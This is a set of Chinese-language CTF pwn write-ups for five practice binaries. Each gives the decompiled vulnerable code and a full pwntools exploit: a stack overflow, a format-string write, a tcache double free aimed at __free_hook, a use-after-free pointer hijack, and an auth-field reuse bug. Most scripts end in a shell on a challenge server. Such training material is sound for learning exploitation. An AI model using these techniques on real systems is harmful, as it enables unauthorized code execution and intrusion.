picoctf_2018_buffer overflow 0
picoctf_2018_buffer overflow$ file PicoCTF_2018_buffer_overflow_0;checksec PicoCTF_2018_buffer_overflow_0
PicoCTF_2018_buffer_overflow_0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped
[*] '/home/pwn/桌面/picoctf_2018_buffer overflow/PicoCTF_2018_buffer_overflow_0'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ch] [ebp-1Ch]
__gid_t v5; // [esp+0h] [ebp-10h]
FILE *stream; // [esp+4h] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, sigsegv_handler);
v5 = getegid();
setresgid(v5, v5, v5, v4);
if ( argc <= 1 )
{
puts("This program takes 1 argument.");
}
else
{
vuln((char *)argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
return 0;
}
char *__cdecl vuln(char *src)
{
char dest[24]; // [esp+0h] [ebp-18h] BYREF
return strcpy(dest, src);
}
strcpy栈溢出
from pwn import *
filename = "./PicoCTF_2018_buffer_overflow_0"
elf = ELF(filename)
context(arch="i386", os="linux")
puts_plt = elf.plt['puts']
flag_addr = 0x0804A080
payload = cyclic(0x18 + 4) + p32(puts_plt) + p32(0) + p32(flag_addr)
print(payload)
aaaabaaacaaadaaaeaaafaaagaaa\xc0\x84\x04\x08\x00\x00\x00\x00\x80\xa0\x04\x08
ssh -p 25611 CTFMan@node4.buuoj.cn
xman_2019_format
xman_2019_format$ file xman_2019_format;checksec xman_2019_format
xman_2019_format: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3d39ec98164e323a164b7d12e0b76e1d4ce78838, stripped
[*] '/home/pwn/桌面/xman_2019_format/xman_2019_format'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax
puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}
fmt漏洞但是堆上的漏洞, strtok
会把'|'
去掉
漏洞利用: fmt漏洞任意地址写, 修改返回地址到后门, 这里需要爆破最低一字节的高四位(因为最低四位必定为C), 概率1/16
调试过程不放了, 堆fmt漏洞利用原理可以参考chuj师傅的blog, 讲的很好, 简单概括就是栈帧中ebp链的fmt两次利用, 可以修改ebp + 4地址处的返回地址到shell后门
https://www.cjovi.icu/WP/buu-xman_2019_format-wp.html
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 25469
filename = "./xman_2019_format"
elf = ELF(filename)
# libc = ELF("./")
def pwn():
shell_addr_low_1byte = 0x85AB
payload = '%12c%10$hhn|%' + str(shell_addr_low_1byte) + 'c%18$hn'
print(payload)
payload = payload.encode()
while True:
io = remote(url, port)
io.sendline(payload)
try:
io.sendline('echo pwned')
io.recvuntil('pwned', timeout=0.5)
io.interactive()
except:
io.close()
if __name__ == "__main__":
pwn()
ciscn_2019_en_3
ciscn_2019_en_3$ file ciscn_2019_en_3;checksec ciscn_2019_en_3
ciscn_2019_en_3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05f53753721f4d3327fe78fa244d276af22f4d70, stripped
[*] '/home/pwn/桌面/ciscn_2019_en_3/ciscn_2019_en_3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
保护全开
menu
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, buf, 0x20uLL);
_printf_chk(1LL, (__int64)buf);
puts("Please input your ID.");
read(0, s, 8uLL);
puts(s);
输入8个非0字符, 可以打印出栈帧
add
unsigned __int64 add()
{
int idx; // ebx
int size; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( cnt > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &size);
*((_DWORD *)&unk_202060 + 4 * cnt) = size;
idx = cnt;
*((_QWORD *)&unk_202068 + 2 * idx) = malloc(size);
puts("please inpute the story: ");
read(0, *((void **)&unk_202068 + 2 * cnt), size);
++cnt;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
主结构体
struct stories {
int size;
char* story;
}
edit和show没用, 看看delete
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(*((void **)&unk_202068 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
有悬空指针, double free
漏洞利用
tcache attack - double free 打 free hook
from pwn import *
from pwnlib.term.readline import set_buffer
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 26090
filename = "./ciscn_2019_en_3"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size,story):
io.sendlineafter('choice:','1')
io.sendlineafter('story:',str(size))
io.sendlineafter('story:',story)
def delete(idx):
io.sendlineafter('choice:','4')
io.sendlineafter('index:',str(idx))
def pwn():
io.sendlineafter('name?', 'fa1c4')
# B()
io.sendlineafter('ID.', b'f' * 8)
set_buffer = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 231
lf('setbuffer address', set_buffer)
libc_base = set_buffer - libc.sym['setbuffer']
lf('libc base address', libc_base)
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(0x20, 'chunk0')
add(0x20, b'/bin/sh\x00')
delete(0)
delete(0) # double free
# B()
add(0x20, p64(free_hook))
# B()
add(0x20, 'whatever')
add(0x20, p64(system_addr))
delete(1)
if __name__ == "__main__":
pwn()
io.interactive()
bjdctf_2020_YDSneedGrirlfriend
bjdctf_2020_YDSneedGrirlfriend$ file bjdctf_2020_YDSneedGrirlfriend; checksec bjdctf_2020_YDSneedGrirlfriend
bjdctf_2020_YDSneedGrirlfriend: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9b27216b491d0602378075540c37930a6c24435b, not stripped
[*] '/home/pwn/桌面/bjdctf_2020_YDSneedGrirlfriend/bjdctf_2020_YDSneedGrirlfriend'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
unsigned __int64 add_girlfriend()
{
__int64 v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(&girlfriendlist + i) )
{
*(&girlfriendlist + i) = malloc(0x10uLL);
if ( !*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
printf("Her name size is :");
read(0, buf, 8uLL);
v3 = atoi(buf);
v0 = (__int64)*(&girlfriendlist + i);
*(_QWORD *)(v0 + 8) = malloc(v3);
if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
}
数据结构
struct gf {
void* function;
char* name;
}
unsigned __int64 del_girlfriend()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriendlist + v1) )
{
free(*((void **)*(&girlfriendlist + v1) + 1));
free(*(&girlfriendlist + v1));
puts("Success");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
悬空指针 UAF
另外还有个backdoor, 简单的堆风水, 把chunk0的函数指针劫持到back door即可
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 27715
filename = "./bjdctf_2020_YDSneedGrirlfriend"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(size, name):
io.sendlineafter('Your choice :', '1')
io.sendafter('Her name size is :', str(size))
io.sendafter('Her name is :', name)
def delete(idx):
io.sendlineafter('Your choice :', '2')
io.sendlineafter('Index :', str(idx))
def show(idx):
io.sendlineafter('Your choice :', '3')
io.sendlineafter('Index :', str(idx))
def pwn():
back_door = 0x0000000000400B9C
add(0x20, 'chunk0')
add(0x20, 'chunk1')
delete(0)
delete(1)
# B()
add(0x10, p64(back_door))
show(0)
if __name__ == "__main__":
pwn()
io.interactive()
picoctf_2018_are you root
picoctf_2018_are you root$ file PicoCTF_2018_are_you_root;checksec PicoCTF_2018_are_you_root
PicoCTF_2018_are_you_root: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
[*] '/home/pwn/桌面/picoctf_2018_are you root/PicoCTF_2018_are_you_root'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
unsigned int v5; // [rsp+1Ch] [rbp-224h]
void **v6; // [rsp+20h] [rbp-220h]
const char *nptr; // [rsp+28h] [rbp-218h]
const char *nptra; // [rsp+28h] [rbp-218h]
char s[6]; // [rsp+30h] [rbp-210h] BYREF
char v10[3]; // [rsp+36h] [rbp-20Ah] BYREF
char v11[511]; // [rsp+39h] [rbp-207h] BYREF
unsigned __int64 v12; // [rsp+238h] [rbp-8h]
v12 = __readfsqword(0x28u);
v3 = stdout;
setbuf(stdout, 0LL);
menu(v3);
v6 = 0LL;
while ( 1 )
{
puts("\nEnter your command:");
putchar(62);
putchar(32);
if ( !fgets(s, 512, stdin) )
return 0;
if ( !strncmp(s, "show", 4uLL) )
{
if ( v6 )
printf("Logged in as %s [%u]\n", (const char *)*v6, *((unsigned int *)v6 + 2));
else
puts("Not logged in.");
}
else if ( !strncmp(s, "login", 5uLL) )
{
if ( v6 )
{
puts("Already logged in. Reset first.");
}
else
{
nptr = strtok(v10, "\n");
if ( !nptr )
goto LABEL_11;
v6 = (void **)malloc(0x10uLL);
if ( !v6 )
{
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
*v6 = (void *)(int)strdup(nptr);
printf("Logged in as \"%s\"\n", nptr);
}
}
else if ( !strncmp(s, "set-auth", 8uLL) )
{
if ( v6 )
{
nptra = strtok(v11, "\n");
if ( nptra )
{
v5 = strtoul(nptra, 0LL, 10);
if ( v5 <= 4 )
{
*((_DWORD *)v6 + 2) = v5;
printf("Set authorization level to \"%u\"\n", v5);
}
else
{
puts("Can only set authorization level below 5");
}
}
else
{
LABEL_11:
puts("Invalid command");
}
}
else
{
puts("Login first.");
}
}
else if ( !strncmp(s, "get-flag", 8uLL) )
{
if ( v6 )
{
if ( *((_DWORD *)v6 + 2) == 5 )
give_flag(s);
else
puts("Must have authorization level 5.");
}
else
{
puts("Login first!");
}
}
else if ( !strncmp(s, "reset", 5uLL) )
{
if ( v6 )
{
free(*v6);
v6 = 0LL;
puts("Logged out!");
}
else
{
puts("Not logged in!");
}
}
else
{
if ( !strncmp(s, "quit", 4uLL) )
return 0;
puts("Invalid option");
menu("Invalid option");
}
}
}
想办法 login as level 5
分析程序流程, 关键位置是
看一下文档
char * strdup( const char *str1 );
Returns a pointer to a null-terminated byte string, which is a duplicate of the string pointed to by str1.
The returned pointer must be passed to free to avoid a memory leak.
所以是复制字符串的函数, 程序这里就会分配一个chunk
而v6偏移8字节(*((_DWORD *)v6 + 2)
)处是auth的值, 这个值在程序开始不会进行初始化, 并且只在登录的时候验证, 这里就出现了逻辑漏洞
因为可以输入9字节的数据控制下一次login时的auth的值, 所以只要reset释放掉第一次的chunk, 申请回来相同的chunk时验证的auth就是可控的
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 25697
filename = "./PicoCTF_2018_are_you_root"
elf = ELF(filename)
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
io.sendlineafter('> ', 'login '.encode() + b'\x05' * 9)
io.sendlineafter('> ', 'reset')
io.sendlineafter('> ', 'login ' + 'falca')
io.sendlineafter('> ', 'get-flag')
if __name__ == "__main__":
pwn()
io.interactive()